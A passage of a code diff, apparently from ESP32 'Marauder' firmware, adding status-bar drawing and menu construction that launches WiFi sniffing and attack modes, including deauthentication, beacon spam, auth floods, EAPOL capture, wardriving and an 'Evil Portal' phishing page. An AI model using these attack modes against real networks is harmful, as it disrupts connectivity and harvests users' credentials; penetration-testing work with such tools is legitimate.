+ display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+ // WiFi Channel Stuff
+ if ((wifi_scan_obj.set_channel != wifi_scan_obj.old_channel) || (status_changed)) {
+ wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.fillRect(43, 0, TFT_WIDTH * 0.21, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ #else
+ display_obj.tft.fillRect(50, 0, TFT_WIDTH * 0.21, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ #endif
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
+ #endif
+ }
+
+ // RAM Stuff
+ wifi_scan_obj.freeRAM();
+ if ((wifi_scan_obj.free_ram != wifi_scan_obj.old_free_ram) || (status_changed)) {
+ wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
+ display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
+ #endif
+ }
+
+ // Draw battery info
+ //MenuFunctions::battery(false);
+ display_obj.tft.fillRect(190, 0, SCREEN_WIDTH, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+
+ #ifdef HAS_ILI9341
+ #ifdef HAS_BUTTONS
+ if (this->disable_touch) {
+ display_obj.tft.setCursor(0, 1);
+ display_obj.tft.drawXBitmap(190,
+ 0,
+ menu_icons[DISABLE_TOUCH],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ TFT_RED);
+ }
+ #endif
+ #endif
+
+
+ // Draw SD info
+ #ifdef HAS_SD
+ if (sd_obj.supported)
+ the_color = TFT_GREEN;
+ else
+ the_color = TFT_RED;
+
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawXBitmap(170,
+ 0,
+ menu_icons[STATUS_SD],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ the_color);
+ #endif
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+ display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
+ #endif
+}
+
+void MenuFunctions::drawStatusBar()
+{
+ display_obj.tft.setTextSize(1);
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.setFreeFont(NULL);
+ #endif
+ display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+ uint16_t the_color;
+
+ // GPS Stuff
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ if (gps_obj.getFixStatus())
+ the_color = TFT_GREEN;
+ else
+ the_color = TFT_RED;
+
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawXBitmap(4,
+ 0,
+ menu_icons[STATUS_GPS],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ the_color);
+ display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+ display_obj.tft.drawString(gps_obj.getNumSatsString(), 22, 0, 2);
+ #endif
+ }
+ #endif
+
+ display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+
+ // WiFi Channel Stuff
+ wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.fillRect(43, 0, TFT_WIDTH * 0.21, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ #else
+ display_obj.tft.fillRect(50, 0, TFT_WIDTH * 0.21, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ #endif
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
+ #endif
+
+ // RAM Stuff
+ wifi_scan_obj.freeRAM();
+ wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
+ display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
+ #endif
+
+
+ //MenuFunctions::battery2(true);
+ display_obj.tft.fillRect(190, 0, SCREEN_WIDTH, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+
+ #ifdef HAS_ILI9341
+ #ifdef HAS_BUTTONS
+ if (this->disable_touch) {
+ display_obj.tft.setCursor(0, 1);
+ display_obj.tft.drawXBitmap(190,
+ 0,
+ menu_icons[DISABLE_TOUCH],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ TFT_RED);
+ }
+ #endif
+ #endif
+
+ // Draw SD info
+ #ifdef HAS_SD
+ if (sd_obj.supported)
+ the_color = TFT_GREEN;
+ else
+ the_color = TFT_RED;
+
+
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawXBitmap(170,
+ 0,
+ menu_icons[STATUS_SD],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ the_color);
+ #endif
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+ display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
+ #endif
+}
+
+void MenuFunctions::orientDisplay()
+{
+ display_obj.tft.init();
+
+ display_obj.tft.setRotation(0); // Portrait
+
+ display_obj.tft.setCursor(0, 0);
+
+ #ifdef HAS_ILI9341
+ #ifdef TFT_SHIELD
+ uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
+ #else if defined(TFT_DIY)
+ uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; // tft.setRotation(0); // Portrait with DIY TFT
+ #endif
+
+ display_obj.tft.setTouch(calData);
+ #endif
+
+ changeMenu(current_menu);
+}
+
+void MenuFunctions::runBoolSetting(String key) {
+ display_obj.tftDrawRedOnOffButton();
+}
+
+String MenuFunctions::callSetting(String key) {
+ specSettingMenu.name = key;
+
+ String setting_type = settings_obj.getSettingType(key);
+
+ if (setting_type == "bool") {
+ return "bool";
+ }
+}
+
+void MenuFunctions::displaySetting(String key, Menu* menu, int index) {
+ specSettingMenu.name = key;
+
+ bool setting_value = settings_obj.loadSetting(key);
+
+ // Make a local copy of menu node
+ MenuNode node = menu->list->get(index);
+
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setCursor(0, 100);
+ display_obj.tft.setTextSize(1);
+
+ // Set local copy value
+ if (!setting_value) {
+ display_obj.tft.setTextColor(TFT_RED);
+ display_obj.tft.println(F(text_table1[4]));
+ node.selected = false;
+ }
+ else {
+ display_obj.tft.setTextColor(TFT_GREEN);
+ display_obj.tft.println(F(text_table1[5]));
+ node.selected = true;
+ }
+
+ // Put local copy back into menu
+ menu->list->set(index, node);
+
+}
+
+// Function to build the menus
+void MenuFunctions::RunSetup()
+{
+ extern LinkedList* access_points;
+ extern LinkedList* stations;
+
+ this->disable_touch = false;
+
+ #ifdef HAS_ILI9341
+ this->initLVGL();
+ #endif
+
+ // root menu stuff
+ mainMenu.list = new LinkedList(); // Get list in first menu ready
+
+ // Main menu stuff
+ wifiMenu.list = new LinkedList(); // Get list in second menu ready
+ bluetoothMenu.list = new LinkedList(); // Get list in third menu ready
+ deviceMenu.list = new LinkedList();
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ gpsInfoMenu.list = new LinkedList();
+ }
+ #endif
+
+ // Device menu stuff
+ failedUpdateMenu.list = new LinkedList();
+ whichUpdateMenu.list = new LinkedList();
+ confirmMenu.list = new LinkedList();
+ updateMenu.list = new LinkedList();
+ settingsMenu.list = new LinkedList();
+ specSettingMenu.list = new LinkedList();
+ infoMenu.list = new LinkedList();
+ languageMenu.list = new LinkedList();
+
+ // WiFi menu stuff
+ wifiSnifferMenu.list = new LinkedList();
+ wifiAttackMenu.list = new LinkedList();
+ wifiGeneralMenu.list = new LinkedList();
+ wifiAPMenu.list = new LinkedList();
+ #ifndef HAS_ILI9341
+ wifiStationMenu.list = new LinkedList();
+ #endif
+
+ // WiFi HTML menu stuff
+ htmlMenu.list = new LinkedList();
+ #if (!defined(HAS_ILI9341) && defined(HAS_BUTTONS))
+ miniKbMenu.list = new LinkedList();
+ #endif
+ #ifndef HAS_ILI9341
+ #ifdef HAS_BUTTONS
+ #ifdef HAS_SD
+ sdDeleteMenu.list = new LinkedList();
+ #endif
+ #endif
+ #endif
+
+ // Bluetooth menu stuff
+ bluetoothSnifferMenu.list = new LinkedList();
+ bluetoothAttackMenu.list = new LinkedList();
+
+ // Settings stuff
+ generateSSIDsMenu.list = new LinkedList();
+ clearSSIDsMenu.list = new LinkedList();
+ clearAPsMenu.list = new LinkedList();
+ saveFileMenu.list = new LinkedList();
+
+ saveSSIDsMenu.list = new LinkedList();
+ loadSSIDsMenu.list = new LinkedList();
+ saveAPsMenu.list = new LinkedList();
+ loadAPsMenu.list = new LinkedList();
+
+ // Work menu names
+ mainMenu.name = text_table1[6];
+ wifiMenu.name = text_table1[7];
+ deviceMenu.name = text_table1[9];
+ failedUpdateMenu.name = text_table1[11];
+ whichUpdateMenu.name = text_table1[12];
+ confirmMenu.name = text_table1[13];
+ updateMenu.name = text_table1[15];
+ languageMenu.name = text_table1[16];
+ infoMenu.name = text_table1[17];
+ settingsMenu.name = text_table1[18];
+ bluetoothMenu.name = text_table1[19];
+ wifiSnifferMenu.name = text_table1[20];
+ wifiAttackMenu.name = text_table1[21];
+ wifiGeneralMenu.name = text_table1[22];
+ saveFileMenu.name = "Save/Load Files";
+ saveSSIDsMenu.name = "Save SSIDs";
+ loadSSIDsMenu.name = "Load SSIDs";
+ saveAPsMenu.name = "Save APs";
+ loadAPsMenu.name = "Load APs";
+ bluetoothSnifferMenu.name = text_table1[23];
+ bluetoothAttackMenu.name = "Bluetooth Attacks";
+ generateSSIDsMenu.name = text_table1[27];
+ clearSSIDsMenu.name = text_table1[28];
+ clearAPsMenu.name = text_table1[29];
+ wifiAPMenu.name = "Access Points";
+ #ifndef HAS_ILI9341
+ wifiStationMenu.name = "Select Stations";
+ #endif
+ #ifdef HAS_GPS
+ gpsInfoMenu.name = "GPS Data";
+ #endif
+ htmlMenu.name = "EP HTML List";
+ #if (!defined(HAS_ILI9341) && defined(HAS_BUTTONS))
+ miniKbMenu.name = "Mini Keyboard";
+ #endif
+ #ifdef HAS_SD
+ #ifndef HAS_ILI9341
+ sdDeleteMenu.name = "Delete SD Files";
+ #endif
+ #endif
+
+ // Build Main Menu
+ mainMenu.parentMenu = NULL;
+ this->addNodes(&mainMenu, text_table1[7], TFT_GREEN, NULL, WIFI, [this]() {
+ this->changeMenu(&wifiMenu);
+ });
+ this->addNodes(&mainMenu, text_table1[19], TFT_CYAN, NULL, BLUETOOTH, [this]() {
+ this->changeMenu(&bluetoothMenu);
+ });
+ this->addNodes(&mainMenu, text_table1[9], TFT_BLUE, NULL, DEVICE, [this]() {
+ this->changeMenu(&deviceMenu);
+ });
+ this->addNodes(&mainMenu, text_table1[30], TFT_LIGHTGREY, NULL, REBOOT, []() {
+ ESP.restart();
+ });
+
+ // Build WiFi Menu
+ wifiMenu.parentMenu = &mainMenu; // Main Menu is second menu parent
+ this->addNodes(&wifiMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiMenu.parentMenu);
+ });
+ this->addNodes(&wifiMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
+ this->changeMenu(&wifiSnifferMenu);
+ });
+ this->addNodes(&wifiMenu, text_table1[32], TFT_RED, NULL, ATTACKS, [this]() {
+ this->changeMenu(&wifiAttackMenu);
+ });
+ this->addNodes(&wifiMenu, text_table1[33], TFT_PURPLE, NULL, GENERAL_APPS, [this]() {
+ this->changeMenu(&wifiGeneralMenu);
+ });
+
+ // Build WiFi sniffer Menu
+ wifiSnifferMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
+ this->addNodes(&wifiSnifferMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiSnifferMenu.parentMenu);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[42], TFT_CYAN, NULL, PROBE_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_PROBE, TFT_CYAN);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[43], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_AP, TFT_MAGENTA);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[44], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
+ });
+ #ifdef HAS_ILI9341
+ this->addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
+ wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[45], TFT_BLUE, NULL, PACKET_MONITOR, [this]() {
+ wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
+ });
+ #else
+ this->addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[45], TFT_BLUE, NULL, PACKET_MONITOR, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
+ });
+ #endif
+ #ifndef HAS_ILI9341
+ this->addNodes(&wifiSnifferMenu, text_table1[47], TFT_RED, NULL, PWNAGOTCHI, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
+ });
+ #endif
+ this->addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[58], TFT_WHITE, NULL, PACKET_MONITOR, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
+ });
+ this->addNodes(&wifiSnifferMenu, text_table1[59], TFT_ORANGE, NULL, PACKET_MONITOR, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_WHITE);
+ });
+ #ifdef HAS_ILI9341
+ this->addNodes(&wifiSnifferMenu, "Signal Monitor", TFT_CYAN, NULL, PACKET_MONITOR, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_CYAN);
+ });
+ #endif
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ this->addNodes(&wifiSnifferMenu, "Wardrive", TFT_GREEN, NULL, BEACON_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
+ });
+ }
+ #endif
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ this->addNodes(&wifiSnifferMenu, "Station Wardrive", TFT_ORANGE, NULL, PROBE_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_STATION_WAR_DRIVE, TFT_ORANGE);
+ });
+ }
+ #endif
+
+ // Build WiFi attack menu
+ wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
+ this->addNodes(&wifiAttackMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiAttackMenu.parentMenu);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[50], TFT_RED, NULL, BEACON_LIST, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_LIST, TFT_RED);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[51], TFT_ORANGE, NULL, BEACON_SPAM, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_SPAM, TFT_ORANGE);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[52], TFT_YELLOW, NULL, RICK_ROLL, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[53], TFT_RED, NULL, PROBE_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
+ });
+ this->addNodes(&wifiAttackMenu, "Evil Portal", TFT_ORANGE, NULL, BEACON_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[54], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[57], TFT_MAGENTA, NULL, BEACON_LIST, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
+ });
+ this->addNodes(&wifiAttackMenu, text_table1[62], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
+ });
+
+ // Build WiFi General menu
+ wifiGeneralMenu.parentMenu = &wifiMenu;
+ this->addNodes(&wifiGeneralMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiGeneralMenu.parentMenu);
+ });
+ this->addNodes(&wifiGeneralMenu, text_table1[27], TFT_SKYBLUE, NULL, GENERATE, [this]() {
+ this->changeMenu(&generateSSIDsMenu);
+ wifi_scan_obj.RunGenerateSSIDs();
+ });
+ this->addNodes(&wifiGeneralMenu, "Save/Load Files", TFT_CYAN, NULL, SD_UPDATE, [this]() {
+ this->changeMenu(&saveFileMenu);
+ });
+ #ifdef HAS_ILI9341
+ this->addNodes(&wifiGeneralMenu, text_table1[1], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+ display_obj.clearScreen();
+ wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_YELLOW);
+ addSSIDGFX();
+ });
+ #endif
+ #if (!defined(HAS_ILI9341) && defined(HAS_BUTTONS))
+ this->addNodes(&wifiGeneralMenu, text_table1[1], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+ this->changeMenu(&miniKbMenu);
+ this->miniKeyboard(&miniKbMenu);
+ });
+ #endif
+ this->addNodes(&wifiGeneralMenu, text_table1[28], TFT_SILVER, NULL, CLEAR_ICO, [this]() {
+ this->changeMenu(&clearSSIDsMenu);
+ wifi_scan_obj.RunClearSSIDs();
+ });
+ this->addNodes(&wifiGeneralMenu, text_table1[29], TFT_DARKGREY, NULL, CLEAR_ICO, [this]() {
+ this->changeMenu(&clearAPsMenu);
+ wifi_scan_obj.RunClearAPs();
+ });
+ this->addNodes(&wifiGeneralMenu, text_table1[60], TFT_BLUE, NULL, CLEAR_ICO, [this]() {
+ this->changeMenu(&clearAPsMenu);
+ wifi_scan_obj.RunClearStations();
+ });
+ #ifdef HAS_ILI9341
+ // Select APs on OG
+ this->addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+ display_obj.clearScreen();
+ wifi_scan_obj.currentScanMode = LV_ADD_SSID;
+ wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
+ addAPGFX();
+ });
+ // Select Stations on OG
+ this->addNodes(&wifiGeneralMenu, text_table1[61], TFT_LIGHTGREY, NULL, KEYBOARD_ICO, [this](){
+ display_obj.clearScreen();
+ wifi_scan_obj.currentScanMode = LV_ADD_SSID;
+ wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
+ addStationGFX();
+ });
+ // Select Evil Portal Files on OG
+ this->addNodes(&wifiGeneralMenu, "Select EP HTML File", TFT_CYAN, NULL, KEYBOARD_ICO, [this](){
+ display_obj.clearScreen();
+ wifi_scan_obj.currentScanMode = LV_ADD_SSID;
+ wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);
+ selectEPHTMLGFX();
+ });
+ #else // Mini EP HTML select
+ this->addNodes(&wifiGeneralMenu, "Select EP HTML File", TFT_CYAN, NULL, KEYBOARD_ICO, [this](){
+ this->changeMenu(&htmlMenu);
+ #if (defined(HAS_BUTTONS) && defined(HAS_SD))
+ #if !(defined(MARAUDER_V6) || defined(MARAUDER_V6_1))
+ while(true) {
+ if (d_btn.justPressed()) {
+ if (evil_portal_obj.selected_html_index > 0)
+ evil_portal_obj.selected_html_index--;
+ else
+ evil_portal_obj.selected_html_index = evil_portal_obj.html_files->size() - 1;
+
+ this->htmlMenu.list->set(0, MenuNode{evil_portal_obj.html_files->get(evil_portal_obj.selected_html_index), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(&htmlMenu);
+ this->displayCurrentMenu();
+ }
+ #ifndef MARAUDER_M5STICKC
+ if (u_btn.justPressed()) {
+ if (evil_portal_obj.selected_html_index < evil_portal_obj.html_files->size() - 1)
+ evil_portal_obj.selected_html_index++;
+ else
+ evil_portal_obj.selected_html_index = 0;
+
+ this->htmlMenu.list->set(0, MenuNode{evil_portal_obj.html_files->get(evil_portal_obj.selected_html_index), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(&htmlMenu, 0, evil_portal_obj.html_files->get(evil_portal_obj.selected_html_index));
+ this->displayCurrentMenu();
+ }
+ #endif
+ if (c_btn.justPressed()) {
+ if (evil_portal_obj.html_files->get(evil_portal_obj.selected_html_index) != "Back") {
+ evil_portal_obj.target_html_name = evil_portal_obj.html_files->get(evil_portal_obj.selected_html_index);
+ Serial.println("Set Evil Portal HTML as " + evil_portal_obj.target_html_name);
+ evil_portal_obj.using_serial_html = false;
+ }
+ this->changeMenu(htmlMenu.parentMenu);
+ break;
+ }
+ }
+ #endif
+ #endif
+ });
+
+ #if (!defined(HAS_ILI9341) && defined(HAS_BUTTONS))
+ miniKbMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&miniKbMenu, "a", TFT_CYAN, NULL, 0, [this]() {
+ this->changeMenu(miniKbMenu.parentMenu);
+ });
+ #endif
+
+ htmlMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&htmlMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(htmlMenu.parentMenu);
+ });
+
+ // Select APs on Mini
+ this->addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
+ wifiAPMenu.list->clear();
+ this->addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiAPMenu.parentMenu);
+ });
+ int menu_limit;
+ if (access_points->size() <= BUTTON_ARRAY_LEN)
+ menu_limit = access_points->size();
+ else
+ menu_limit = BUTTON_ARRAY_LEN;
+ for (int i = 0; i < menu_limit - 1; i++) {
+ this->addNodes(&wifiAPMenu, access_points->get(i).essid, TFT_CYAN, NULL, KEYBOARD_ICO, [this, i](){
+ AccessPoint new_ap = access_points->get(i);
+ new_ap.selected = !access_points->get(i).selected;
+
+ // Change selection status of menu node
+ MenuNode new_node = current_menu->list->get(i + 1);
+ new_node.selected = !current_menu->list->get(i + 1).selected;
+ current_menu->list->set(i + 1, new_node);
+
+ // Change selection status of button key
+ //if (new_ap.selected) {
+ // this->buttonSelected(i + 1);
+ //} else {
+ // this->buttonNotSelected(i + 1);
+ //}
+ access_points->set(i, new_ap);
+ }, access_points->get(i).selected);
+ }
+ this->changeMenu(&wifiAPMenu);
+ });
+
+ wifiAPMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiAPMenu.parentMenu);
+ });
+
+ // Select Stations on Mini v1
+ /*
+ this->addNodes(&wifiGeneralMenu, "Select Stations", TFT_CYAN, NULL, KEYBOARD_ICO, [this](){
+ wifiStationMenu.list->clear();
+ this->addNodes(&wifiStationMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiStationMenu.parentMenu);
+ });
+ int menu_limit;
+
+ // Find out how many buttons we will need
+ if (stations->size() <= BUTTON_ARRAY_LEN)
+ menu_limit = stations->size();
+ else
+ menu_limit = BUTTON_ARRAY_LEN;
+
+ // Load buttons with stations
+ for (int i = 0; i < stations->size(); i++) {
+
+ // Check if there is even space left
+ if (current_menu->list->size() >= menu_limit)
+ break;
+
+ int cur_ap_sta = i;
+
+ this->addNodes(&wifiStationMenu, wifi_scan_obj.macToString(stations->get(cur_ap_sta)), TFT_CYAN, NULL, KEYBOARD_ICO, [this, i, cur_ap_sta](){
+ Station new_sta = stations->get(cur_ap_sta);
+ new_sta.selected = !stations->get(cur_ap_sta).selected;
+
+ // Change selection status of menu node
+ MenuNode new_node = current_menu->list->get(i + 1);
+ new_node.selected = !current_menu->list->get(i + 1).selected;
+ current_menu->list->set(i + 1, new_node);
+
+ // Change selection status of button key
+ //if (new_sta.selected) {
+ // this->buttonSelected(i + 1);
+ //} else {
+ // this->buttonNotSelected(i + 1);
+ //}
+
+ stations->set(cur_ap_sta, new_sta);
+ }, stations->get(cur_ap_sta).selected);
+ }
+ this->changeMenu(&wifiStationMenu);
+ });
+ */
+
+ // Select Stations on Mini v2
+ this->addNodes(&wifiGeneralMenu, "Select Stations", TFT_CYAN, NULL, KEYBOARD_ICO, [this](){
+ wifiAPMenu.list->clear();
+ this->addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiAPMenu.parentMenu);
+ });
+
+ int menu_limit;
+
+ if (access_points->size() <= BUTTON_ARRAY_LEN)
+ menu_limit = access_points->size();
+ else
+ menu_limit = BUTTON_ARRAY_LEN;
+
+ for (int i = 0; i < menu_limit - 1; i++) {
+ wifiStationMenu.list->clear();
+ this->addNodes(&wifiAPMenu, access_points->get(i).essid, TFT_CYAN, NULL, KEYBOARD_ICO, [this, i](){
+
+ wifiStationMenu.list->clear();
+
+ // Add back button to the APs
+ this->addNodes(&wifiStationMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiStationMenu.parentMenu);
+ });
+
+ // Add the AP's stations to the specific AP menu
+ for (int x = 0; x < access_points->get(i).stations->size(); x++) {
+ int cur_ap_sta = access_points->get(i).stations->get(x);
+
+ this->addNodes(&wifiStationMenu, wifi_scan_obj.macToString(stations->get(cur_ap_sta)), TFT_CYAN, NULL, KEYBOARD_ICO, [this, i, cur_ap_sta, x](){
+ Station new_sta = stations->get(cur_ap_sta);
+ new_sta.selected = !stations->get(cur_ap_sta).selected;
+
+ // Change selection status of menu node
+ MenuNode new_node = current_menu->list->get(x + 1);
+ new_node.selected = !current_menu->list->get(x + 1).selected;
+ current_menu->list->set(x + 1, new_node);
+
+ // Change selection status of button key
+ //if (new_sta.selected) {
+ // this->buttonSelected(i + 1);
+ //} else {
